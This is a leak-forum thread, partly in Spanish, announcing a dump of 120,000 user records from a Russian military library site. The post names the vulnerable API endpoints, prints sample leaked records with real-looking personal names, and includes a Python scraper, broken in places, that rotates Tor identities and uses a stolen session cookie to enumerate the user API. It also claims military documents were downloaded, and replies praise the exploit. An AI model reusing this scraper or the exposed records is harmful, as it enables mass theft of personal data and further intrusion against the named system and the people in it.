[slevinkillme]

cool baby!

[Passqueryed]

Lets see

[Inferno]

thx bro

[majoranon]

Thanks :)

[Skdjdjak]

Nice
Onr

[r3ng0ku44]

Hola comunidad de DarkForums ,
hoy he subido los 120.000 archivos .mil.ru militares rusos para que los descarguen. ¡Gracias por leer y disfrutar!

 

 

 

Autor: pocexploiter
Notificado: para esto se requiere un acceso para el cual posteriormente se podrá realizar un pentesting.

{"mid":35457,"lastname":"Грабовенко","firstname":"Илья","patronymic":"Анатольевич","displayname":"Грабовенко Илья Анатольевич","cathedra":null,"faculty":null,"groupname":null,"militaryrank":null,"specialisation":null,"position":null,"rfid":"","photosize":0}

 


Descargar registros:





Vulnerabilidades:


 - Omisión del formato de carga de archivos - Divulgación de información personal - Monitoreo de la actividad del usuario.
Explotación del tutorial:  Notificado: se requiere acceso para realizar posteriormente una prueba de penetración.






  [b] Parámetros[/b] : https://biblio2.mil.ru /api/reader/(ID): Aquí podemos ver los registros del 1 al 120 000. Intentamos enviar muchas solicitudes con la opción de intrusión de Burp Suite. Administrador expuesto:https://biblio2.mil.ru /book_open_history/(ID): Permite ver el contenido leído por cada usuario.https://biblio2.mil.ru /formular_print/(ID): Información de formulario PDF expuesta[b] . EXPLOIT DE CÓDIGO militar:[/b]

{“mid”:7316,”lastname”:”Яцкевич”,”firstname”:”Илья”,”patronymic”:”Валерьевич”,”displayname”:”Яцкевич Илья Валерьевич”,”cathedra”:null,”faculty”:null,”groupname”:null,”militaryrank”:null,”specialisation”:null,”position”:null,”rfid”:””,”photosize”:0} {“mid”:7547,”lastname”:”Богданов”,”firstname”:”Сергей”,”patronymic”:”Владимирович”,”displayname”:”Богданов Сергей Владимирович”,”cathedra”:null,”faculty”:null,”groupname”:null,”militaryrank”:null,”specialisation”:null,”position”:null,”rfid”:””,”photosize”:0}

  

PHP Code:

#!/usr/bin/python3
import os
import sys
import time
import requests
from fake_useragent import UserAgent
from stem import Signal
from stem.control import Controller
# Autor: SC0RP10N
proxies = {
    'http': 'socks5://127.0.0.1:9050',
    'https': 'socks5://127.0.0.1:9050'
}
if(len(sys.argrv) == 1):
    print("Missing cookie argument\n EXAMPLE: python3 Russia.py 'library.login= PRIVATE KEY!")
elif(len(sys.argv) == 2):
    for i in range(100642):
    headers = { 'User-Agent': UserAgent(browsers=['edge', 'firefox']).random }
    time.sleep(1)
    with Controller.from_port(port = 9051) as c:
        c.authenticate(# PLACE TOR AUTHENTICATION PASSWORD HERE AS A STRING)
        c.signal(Signal.NEWNYM)
        url = "'https://biblio2.mil.ru/api/reader/1" + str(i) + "'"
        comando = "curl --proxy socks5://127.0.0.1:9050 " + url + " --cokkie='" + sys.argv[1] + "'")
        print(comando)
        print("\nIndice: " + str(i) + "\n")
        os.system(comando) 


  

• La vulnerabilidad permite ver detalles de los usuarios del sistema.
  
• Se han verificado otras vulnerabilidades idénticas.
  
• También se identificaron las acciones de la API de usuario con privilegios de administrador.
  
•  
  

 
También hemos podido descargar documentos: diseño de armas, operación de equipos militares, entrenamiento militar, logística, proyectos balísticos, etc.   

 

 

elhanks bro

[Rancho]

Damm content!!!!

[iceagebastard]

thanks !

---

sadly link is dead, but nice exploit !

[m080dy]

what is it

[Addy23478657]

interesting